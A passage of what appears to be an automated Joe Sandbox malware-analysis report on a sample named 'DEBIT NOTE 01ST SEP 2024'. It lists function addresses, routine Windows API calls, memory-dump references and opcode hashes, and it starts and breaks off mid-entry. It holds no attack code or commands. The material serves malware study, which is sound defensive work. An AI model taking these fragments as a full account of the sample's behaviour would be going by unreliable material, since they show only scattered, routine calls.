                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$Copy$ClearErrorLast
                                          • String ID: NULL Pointer assignment$Not an Object type
                                          • API String ID: 2487901850-572801152
                                          • Opcode ID: bb0f7491a1d8fcb1a9e92f7a9394b8a60bc93380917bfa262315a66d62baea93
                                          • Instruction ID: 7224d39ad4dd36db717bb7decd6d6f3456075e50b8db1d036073f09e8ed5fad7
                                          • Opcode Fuzzy Hash: bb0f7491a1d8fcb1a9e92f7a9394b8a60bc93380917bfa262315a66d62baea93
                                          • Instruction Fuzzy Hash: 70C1AFB1A00209ABDF14DF98C881FEEB7B9EB44304F10C55EE909AB341D7799D85CBA5
                                          Function 00448804 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044881F
                                          • EnableWindow.USER32(?,00000000), ref: 00448B5C
                                          • EnableWindow.USER32(?,00000001), ref: 00448B72
                                          • ShowWindow.USER32(?,00000000), ref: 00448BE8
                                          • ShowWindow.USER32(?,00000004), ref: 00448BF4
                                          • EnableWindow.USER32(?,00000001), ref: 00448C09
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Enable$Show$MessageSend
                                          • String ID:
                                          • API String ID: 1871949834-0
                                          • Opcode ID: 24295af7dc8a36502def6d29e9c9bc5dd9332af4054e76ab47d27171ed2ecc38
                                          • Instruction ID: ab733961f10eda6fa12bc0977b233c6b2b6736debfa9bed553c9f015fe8cd40e
                                          • Opcode Fuzzy Hash: 24295af7dc8a36502def6d29e9c9bc5dd9332af4054e76ab47d27171ed2ecc38
                                          • Instruction Fuzzy Hash: 6931B3B17443815BF7258E24CCC4BAFB7D0EB95345F08482EF58196291DBAC9845C75A
                                          Function 00441078 Relevance: 9.1, APIs: 6, Instructions: 86COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b4f5e70efc1acb4fe019c63046a51222323f6892fbde794835cc8a87d9f58231
                                          • Instruction ID: c6101d665a98d140be62f029472ab7f8db1b0ce4c02a7c647e8453833b83309f
                                          • Opcode Fuzzy Hash: b4f5e70efc1acb4fe019c63046a51222323f6892fbde794835cc8a87d9f58231
                                          • Instruction Fuzzy Hash: 5F21B672204110ABEB108F699C85B6F7798EB49370F24463BF625C62E0DB74D8C1C76D
                                          Function 00471A38 Relevance: 9.1, APIs: 6, Instructions: 79windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00471A45
                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,00000000,?,00000001), ref: 00471A86
                                          • SendMessageW.USER32(?,00001303,00000000,00000000), ref: 00471AA8
                                          • ImageList_ReplaceIcon.COMCTL32(?,?,?,?,00000000,?,00000001), ref: 00471ABF
                                          • SendMessageW.USER32 ref: 00471AE3
                                          • DestroyIcon.USER32(?), ref: 00471AF4
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Icon$ImageList_MessageSend$CreateDestroyExtractReplace
                                          • String ID:
                                          • API String ID: 3611059338-0
                                          • Opcode ID: b0e439fc93c86aa425f752c0c26de9476ffc90f5fc0a1de8674fd8c7e7c0c220
                                          • Instruction ID: ff529b192773d28f9e5fe2f6f8d7a9043cb056f7fe4a3f7912da33dbd9270a4a
                                          • Opcode Fuzzy Hash: b0e439fc93c86aa425f752c0c26de9476ffc90f5fc0a1de8674fd8c7e7c0c220
                                          • Instruction Fuzzy Hash: FB21AB71600204AFEB10CF64DD85FAA73B5FF88700F10846EFA05AB290DBB4A9428B64
                                          Function 00455616 Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DestroyWindow$DeleteObject$IconMove
                                          • String ID:
                                          • API String ID: 1640429340-0
                                          • Opcode ID: a9e5de2d3b90f467c30d036e219f0746eef0d56afd734d018f8f78b53e6c5f41
                                          • Instruction ID: 1af524ae86da71fe4f89171a472fc693caa25f853ed14bd6ff7d4c509651bbe6
                                          • Opcode Fuzzy Hash: a9e5de2d3b90f467c30d036e219f0746eef0d56afd734d018f8f78b53e6c5f41
                                          • Instruction Fuzzy Hash: C6311874200A41DFC710DF24D9D8B3A77E9FB48712F0445AAE946CB262D778E848CB69
                                          Function 0044389A Relevance: 9.1, APIs: 6, Instructions: 76COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                            • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                                          • _wcslen.LIBCMT ref: 004438CD
                                          • _wcslen.LIBCMT ref: 004438E6
                                          • _wcstok.LIBCMT ref: 004438F8
                                          • _wcslen.LIBCMT ref: 0044390C
                                          • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0044391A
                                          • _wcstok.LIBCMT ref: 00443931
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$_wcstok$ExtentPoint32Text_wcscpy
                                          • String ID:
                                          • API String ID: 3632110297-0
                                          • Opcode ID: 5ca99eab14a2200aefa90245e429ddeb3cf04e0f88646427c0d38f27a71423b2
                                          • Instruction ID: d12b8bce329459066c03420e1b0c57cf331e6d1a2def9435cce8fb2ce1fb425a
                                          • Opcode Fuzzy Hash: 5ca99eab14a2200aefa90245e429ddeb3cf04e0f88646427c0d38f27a71423b2
                                          • Instruction Fuzzy Hash: 9621B072900305ABDB10AF559C82AAFB7F8FF48711F64482EF95993301E678EA5087A5
                                          Function 00455168 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$DeleteMenuObject$IconWindow
                                          • String ID:
                                          • API String ID: 752480666-0
                                          • Opcode ID: 877022e28911037ff8e4029beee24c6714a8c165e8bca7c16b59b5f39fc2e0c5
                                          • Instruction ID: 7b220c8407ffc283b2c26cc65a644285b0b18e1ed163c7e0472fb9f2b18bc557
                                          • Opcode Fuzzy Hash: 877022e28911037ff8e4029beee24c6714a8c165e8bca7c16b59b5f39fc2e0c5
                                          • Instruction Fuzzy Hash: B7215970600A01DFD714DF29D9E8B3A7BA9BF49312F04855AE8468B352C738EC89CB59
                                          Function 004552FA Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                          • String ID:
                                          • API String ID: 3275902921-0
                                          • Opcode ID: bee8e7950a17a017ef8c4c424090cfe506cbffc57fc41e64353b46a851298919
                                          • Instruction ID: 11d86efc281b6c380d974b68bd8b9632be9d9c574e85584f431c859402bfc888
                                          • Opcode Fuzzy Hash: bee8e7950a17a017ef8c4c424090cfe506cbffc57fc41e64353b46a851298919
                                          • Instruction Fuzzy Hash: 9C217C70200A01DFC714DF39D998A6AB7E4BF49311F10862EE959C7392D778D845CB58
                                          Function 004556C8 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                          • String ID:
                                          • API String ID: 3275902921-0
                                          • Opcode ID: ef392be253363c3276fd2682622d0856bd6baec92828374cdc4114f01cb4ab17
                                          • Instruction ID: f2615e71845bffb995fe2c2b9381f89f67980fa6d4eb7dd8f13843e5971e4781
                                          • Opcode Fuzzy Hash: ef392be253363c3276fd2682622d0856bd6baec92828374cdc4114f01cb4ab17
                                          • Instruction Fuzzy Hash: 54213D70200A01DFD710EF25D9D4A2B37E9BF49312F10896EE945CB352D739D845CB69
                                          Function 004331A2 Relevance: 9.1, APIs: 6, Instructions: 64sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
                                          • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331D4
                                          • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331DE
                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331E6
                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331F0
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                          • String ID:
                                          • API String ID: 2833360925-0
                                          • Opcode ID: 454a0f1f7a5b9dabfe1a5840f9ecaff855ca9224c6d53cc9b14a46810094a05c
                                          • Instruction ID: f8c058edd9890a080c9b5d5c764251204f1987641da473bf5ecf7e3e358c806a
                                          • Opcode Fuzzy Hash: 454a0f1f7a5b9dabfe1a5840f9ecaff855ca9224c6d53cc9b14a46810094a05c
                                          • Instruction Fuzzy Hash: 1911B632D0011DABCF00DFD9EA489EEB778FF49722F1145AAED04A6204DB755A01CBA4
                                          Function 004555A8 Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32 ref: 004555C7
                                          • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004555E2
                                          • DeleteObject.GDI32(?), ref: 00455736
                                          • DeleteObject.GDI32(?), ref: 00455744
                                          • DestroyIcon.USER32(?), ref: 00455752
                                          • DestroyWindow.USER32(?), ref: 00455760
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                          • String ID:
                                          • API String ID: 3691411573-0
                                          • Opcode ID: a36765697229ff4e213bf7548d3c220621229afc2c11469716cb0ded27b8d901
                                          • Instruction ID: 7bbaf3a525edecc9c7f674a1bc178dbce74773f27e06def1294b58b6a87c9b54
                                          • Opcode Fuzzy Hash: a36765697229ff4e213bf7548d3c220621229afc2c11469716cb0ded27b8d901
                                          • Instruction Fuzzy Hash: 3D116071204601DBC710DF69EDC8A2A77A8FB58322F10466AFD10DB292D779D849CB68
                                          Function 00447275 Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
                                            • Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                            • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
                                            • Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
                                            • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266
                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 004472A0
                                          • LineTo.GDI32(?,?,?), ref: 004472AC
                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 004472BA
                                          • LineTo.GDI32(?,?,?), ref: 004472C6
                                          • EndPath.GDI32(?), ref: 004472D6
                                          • StrokePath.GDI32(?), ref: 004472E4
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                          • String ID:
                                          • API String ID: 372113273-0
                                          • Opcode ID: 31eeda2ce056db83d926a779f5beead5a54a2e657b8e2367e9d837ae160c277d
                                          • Instruction ID: 9972a7b2ea06d4c5ad2b855a17b8a9a0d98d12ec42d2644493c4a69bc6448ed6
                                          • Opcode Fuzzy Hash: 31eeda2ce056db83d926a779f5beead5a54a2e657b8e2367e9d837ae160c277d
                                          • Instruction Fuzzy Hash: 7701BC76101214BBE3119B44ED8DFDF7B6CEF4A710F104259FA01A629187F42A02CBBD
                                          Function 0044CC51 Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDC.USER32(00000000), ref: 0044CC6D
                                          • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC78
                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC84
                                          • ReleaseDC.USER32(00000000,00000000), ref: 0044CC90
                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CCA8
                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CCB9
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CapsDevice$Release
                                          • String ID:
                                          • API String ID: 1035833867-0
                                          • Opcode ID: 30463c625ccaefc53399fcb5a1d51c2b4aa5fdcbff3641f1d403fc7908ff7e54
                                          • Instruction ID: 48d0fedbc9b5ed1f8cca1220e36c4d83aa6571d18a2c693a8c9b468b660f0fbb
                                          • Opcode Fuzzy Hash: 30463c625ccaefc53399fcb5a1d51c2b4aa5fdcbff3641f1d403fc7908ff7e54
                                          • Instruction Fuzzy Hash: 60015276240214BFFB009F95DD89F5A7BACFF54751F14802EFF089B240D6B098008BA4
                                          Function 00417082 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __getptd.LIBCMT ref: 0041708E
                                            • Part of subcall function 00417A69: __getptd_noexit.LIBCMT ref: 00417A6C
                                            • Part of subcall function 00417A69: __amsg_exit.LIBCMT ref: 00417A79
                                          • __amsg_exit.LIBCMT ref: 004170AE
                                          • __lock.LIBCMT ref: 004170BE
                                          • InterlockedDecrement.KERNEL32(?), ref: 004170DB
                                          • _free.LIBCMT ref: 004170EE
                                          • InterlockedIncrement.KERNEL32(030C2CF0), ref: 00417106
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
                                          • String ID:
                                          • API String ID: 3470314060-0
                                          • Opcode ID: 80714434994c9102abdbbcfc383ede657addd51ae4f203e3d2298efcf25a3187
                                          • Instruction ID: d92c7102fc6d098775a0f5363b9b5483e5b10d08a1c29475ed017091780ded1e
                                          • Opcode Fuzzy Hash: 80714434994c9102abdbbcfc383ede657addd51ae4f203e3d2298efcf25a3187
                                          • Instruction Fuzzy Hash: 3301AD32905711ABC721ABA698497DE7BB0AB04724F15416BF950A7381CB3CAAC1CFDD
                                          Function 0044B63B Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InterlockedExchange.KERNEL32(?,?), ref: 0044B655
                                          • EnterCriticalSection.KERNEL32(?), ref: 0044B666
                                          • TerminateThread.KERNEL32(?,000001F6), ref: 0044B674
                                          • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B682
                                            • Part of subcall function 00432614: CloseHandle.KERNEL32(00000000,00000000,?,0044B68E,00000000,?,000003E8,?,000001F6), ref: 00432622
                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B697
                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B69E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
